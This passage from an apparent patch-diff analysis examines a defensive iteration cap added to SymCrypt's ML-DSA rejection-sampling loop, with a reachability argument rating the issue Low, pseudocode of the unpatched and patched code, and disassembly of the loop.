0x100)&lt;/code&gt; loop (back-edge &lt;code&gt;jb loc_180096BCB&lt;/code&gt; at &lt;code&gt;0x180096CAC&lt;/code&gt;) would spin without progress.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why this is Low, not High — reachability:&lt;/strong&gt;
The &lt;code&gt;eta&lt;/code&gt; byte is not attacker-controlled. &lt;code&gt;SymCryptMlDsaExpandS (sub_180095F78)&lt;/code&gt; is called with an internal parameters pointer produced by &lt;code&gt;SymCryptMlDsaGetInternalParamsFromParams (sub_180096074)&lt;/code&gt;, which selects one of three static, read-only structures — &lt;code&gt;SymCryptMlDsaInternalParams44&lt;/code&gt;, &lt;code&gt;SymCryptMlDsaInternalParams65&lt;/code&gt;, or &lt;code&gt;SymCryptMlDsaInternalParams87&lt;/code&gt; — based on a validated parameter-set index. An unrecognized index returns a SymCrypt error (&lt;code&gt;0x800E&lt;/code&gt; or &lt;code&gt;0x8011&lt;/code&gt;) before any sampling occurs. The only &lt;code&gt;eta&lt;/code&gt; values that can reach the loop are the compile-time constants baked into those tables (&lt;code&gt;2&lt;/code&gt; for ML-DSA-44/87, &lt;code&gt;4&lt;/code&gt; for ML-DSA-65). There is no BCrypt/CNG API path that lets a caller inject an arbitrary &lt;code&gt;eta&lt;/code&gt;; reaching the non-terminating path would require memory corruption from an unrelated bug. The alternative of forcing every sampled nibble to reject with a valid &lt;code&gt;eta&lt;/code&gt; (needing the SHAKE stream to yield only out-of-range nibbles for hundreds of bytes) is computationally infeasible.&lt;/p&gt;
&lt;p&gt;The patch is a defensive iteration cap on the rejection-sampling loop, consistent with SymCrypt library robustness hardening. It introduces an independent iteration counter and hard-caps the loop at 481 (&lt;code&gt;0x1E1&lt;/code&gt;) squeeze iterations, returning a SymCrypt error code (&lt;code&gt;0x8008&lt;/code&gt;) if exceeded.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call path (for the code pattern, not an exploit):&lt;/strong&gt;
1. A CNG ML-DSA key operation is invoked (e.g., &lt;code&gt;BCryptGenerateKeyPair&lt;/code&gt; / &lt;code&gt;BCryptFinalizeKeyPair&lt;/code&gt; on an ML-DSA algorithm provider).
2. &lt;code&gt;SymCryptMlDsaExpandS (sub_180095F78)&lt;/code&gt; expands the secret vectors &lt;code&gt;s1&lt;/code&gt;/&lt;code&gt;s2&lt;/code&gt; and calls &lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_180096B4C)&lt;/code&gt; once per polynomial (&lt;code&gt;0x180095FF9&lt;/code&gt;, &lt;code&gt;0x18009602D&lt;/code&gt;).
3. The internal parameters pointer passed in comes from the validated static table selection in &lt;code&gt;SymCryptMlDsaGetInternalParamsFromParams (sub_180096074)&lt;/code&gt;, so &lt;code&gt;eta&lt;/code&gt; is always &lt;code&gt;2&lt;/code&gt; or &lt;code&gt;4&lt;/code&gt; on any reachable path.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;3. Pseudocode Diff&lt;/h3&gt;
&lt;p&gt;The loop exit depends solely on accepting samples; the patch adds an independent iteration counter as a hard bound.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED SymCryptMlDsaRejBoundedPoly (sub_180096b4c) - key loop logic:&lt;/span&gt;
&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// output index&lt;/span&gt;
&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;sponge&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// squeeze next SHAKE byte&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x16&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// eta bound (constant: 2 or 4)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// low nibble&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// reject&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="c1"&gt;// reject&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... second nibble computed symmetrically into dl, else dl = 0x80 ...&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// increment only on accept&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// increment only on accept&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// Exit condition depends only on edi advancing; if every sample rejected, no progress.&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED SymCryptMlDsaRejBoundedPoly (sub_18009a8c0):&lt;/span&gt;
&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// output index (was edi)&lt;/span&gt;
&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// ADDED: independent iteration counter&lt;/span&gt;
&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1e1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// ADDED: hard cap of 481 iterations&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8008&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// SymCrypt error return&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="c1"&gt;// increments unconditionally every iteration&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... identical sampling/accept logic, writing out[ebx], ebx++ on accept ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h3&gt;4. Assembly Analysis&lt;/h3&gt;
&lt;p&gt;Unpatched loop body (&lt;code&gt;SymCryptMlDsaRejBoundedPoly @ 0x180096B4C&lt;/code&gt;), showing the missing iteration bound:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;BC8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi+4&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;here&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eta&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;compare&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;value&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;BCB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;loc_180096BCB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;iteration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;BCE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+140h+var_11F&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;BD3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+140h+var_110&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;BD8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r9+1&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;BDC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;squeeze&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;next&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SHAKE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;BE1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+140h+var_11F&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;current&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;BE5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r14+16h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eta&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
